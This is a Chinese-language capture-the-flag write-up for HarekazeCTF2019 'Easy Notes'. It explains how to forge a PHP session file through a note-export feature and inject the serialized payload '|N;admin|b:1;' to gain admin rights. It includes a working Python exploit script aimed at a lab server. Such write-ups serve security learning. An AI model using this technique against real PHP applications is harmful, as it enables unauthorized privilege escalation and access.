[HarekazeCTF2019]Easy Notes

[HarekazeCTF2019]Easy Notes

考点

  • PHP session反序列化

  • PHP代码审计

  • PHP session 伪造

wp

给了源码,打开靶机,是一个笔记系统

在登陆处进行了匹配,只允许输入 4 到 64 位规定字符,且不是前端验证

登陆成功后,可以进行增删查和导出为 zip 或 tar 的功能,点击 Get flag 提示不是 admin

既然拿到源码就先看看全局配置 config.php ,就写了一行,定义临时文件目录

还要看一下初始化文件init.php,定义session存储位置

进入 page/flag.php 看一下给出 flag 的条件,要满足 is_admin() 函数

跟进 is_admin() 函数,没有发现什么可以利用的地方

看到有个导出功能,它会将添加的 note 导出为 zip,这个文件存放的位置在 TEMP_DIR ,和 session 信息保存在同一个位置,那么是不是可以考虑伪造 session

session 文件以 sess_ 开头,且只含有 a-zA-Z0-9-

看到 $filename 处可以满足所有的条件

构造 usersess_type. ,经过处理之后,$path 就是 TEMP_DIR/sess_0123456789abcdef 这就伪造了一个 session 文件

然后向这个文件写入 note 的 title

在最后,它会将构造的 $filename 返回,这样就知道了伪造的 session 文件,就可以拿到构造出的 admin 的 session 数据

最后构造 session 触发反序列化使 is_admin 返回 ture

可以看到在导出时,会将 title 写入伪造的 session 文件中

那么就可以在 title 处构造序列化字符串,而 php 默认的 session handlerphp,其存储方式为 键名+竖线+经过serialize函数序列处理的值

这里 title 就构造为 |N;admin|b:1; 这样就会满足了 is_admin的条件

梳理一下思路

第一步,以 sess_ 登陆

第二步,添加标题为 |N;admin|b:1; 的 note

第三步,访问 export.php?type=. 伪造 session

第四步,获取伪造的 session 进行 get flag

exp

import re
import requests
URL = 'http://192.168.233.136:9000/'

while True:
	# login as sess_
	sess = requests.Session()
	sess.post(URL + 'login.php', data={
		'user': 'sess_'
	})

	# make a crafted note
	sess.post(URL + 'add.php', data={
		'title': '|N;admin|b:1;',
		'body': 'hello'
	})

	# make a fake session
	r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']
	print(r)
	
	sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]
	print(sessid)
	
	# get the flag
	r = requests.get(URL + '?page=flag', cookies={
		'PHPSESSID': sessid
	}).content.decode('utf-8')
	flag = re.findall(r'flag\{.+\}', r)

	if len(flag) > 0:
		print(flag[0])
		break

小结

  1. php 默认的 session handlerphp,其存储方式为 键名+竖线+经过serialize函数序列处理的值

  2. session 文件以 sess_ 开头,且只含有 a-zA-Z0-9-

最后更新于